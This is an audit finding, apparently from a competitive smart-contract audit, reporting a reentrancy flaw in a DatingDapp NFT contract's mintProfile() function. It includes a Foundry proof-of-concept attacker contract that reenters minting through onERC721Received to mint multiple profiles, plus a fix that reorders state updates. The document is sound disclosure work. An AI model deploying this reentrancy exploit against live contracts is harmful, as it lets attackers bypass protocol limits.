DatingDapp
First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Reentrancy Risk in mintProfile() Due to _safeMint() Before State Updates

0xgo4ko

Summary

The SoulboundProfileNFT.sol::mintProfile() function violates the Checks-Effects-Interactions (CEI) pattern by calling _safeMint() before updating state variables. Since _safeMint() in OpenZeppelin’s ERC721 contract can call external smart contracts, this introduces a reentrancy risk where an attacker could reenter mintProfile() before the mappings are updated.

Vulnerability Details

Affected code

In SoulboundProfileNFT.sol::mintProfile() function the _safeMint(msg.sender, tokenId); executes beforeprofileToToken[msg.sender] and _profiles[tokenId] are updated. If msg.sender is a smart contract, _safeMint() will trigger a call to the onERC721Received() hook, allowing reentrant execution. A malicious contract could exploit this to reenter**mintProfile()** before the state updates, bypassing the single-profile restriction and minting multiple NFTs.

PoC

Add the following AttackerContract and test to the SoulboundProfileNFT.t.sol.

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
​
contract AttackerContract is IERC721Receiver {
SoulboundProfileNFT private soulboundNFT;
​
constructor(SoulboundProfileNFT _soulboundNFT) {
soulboundNFT = _soulboundNFT;
}
​
function attack() external {
soulboundNFT.mintProfile("attacker", 25, "ipfs://profileImage");
}
​
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
// mint 10 NFTs
if (soulboundNFT.balanceOf(address(this)) < 10) {
soulboundNFT.mintProfile("attacker", 25, "ipfs://profileImage");
}
​
return IERC721Receiver.onERC721Received.selector;
}
}
​
contract SoulboundProfileNFTTest is Test {
SoulboundProfileNFT soulboundNFT;
address user = address(0x123);
address user2 = address(0x456);
address owner = address(this);
​
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
}
​
function test_UserCanMintInfiniteAmountOfNFTs() public {
AttackerContract attacker = new AttackerContract(soulboundNFT);
​
attacker.attack();
​
assertEq(soulboundNFT.balanceOf(address(attacker)), 10);
}
}
Ran 1 test for test/testSoulboundProfileNFT.t.sol:SoulboundProfileNFTTest
[PASS] test_UserCanMintInfiniteAmountOfNFTs() (gas: 1306129)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.95ms (936.30µs CPU time)

Impact

  • A malicious smart contract could mint multiple profile NFTs by reentering before state updates occur.

  • The NFT could be minted without a corresponding _profiles entry, leading to metadata inconsistencies.

  • Since _safeMint() interacts with external contracts, unforeseen vulnerabilities could arise.

Tools Used

  • Manual review

  • Foundry

Recommendations

Follow the CEI pattern to prevent reentrancy and update state variables before calling _safeMint():

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
​
uint256 tokenId = ++_nextTokenId;
​
//*Update state first
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
​
_safeMint(msg.sender, tokenId); // External call after state updates
​
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.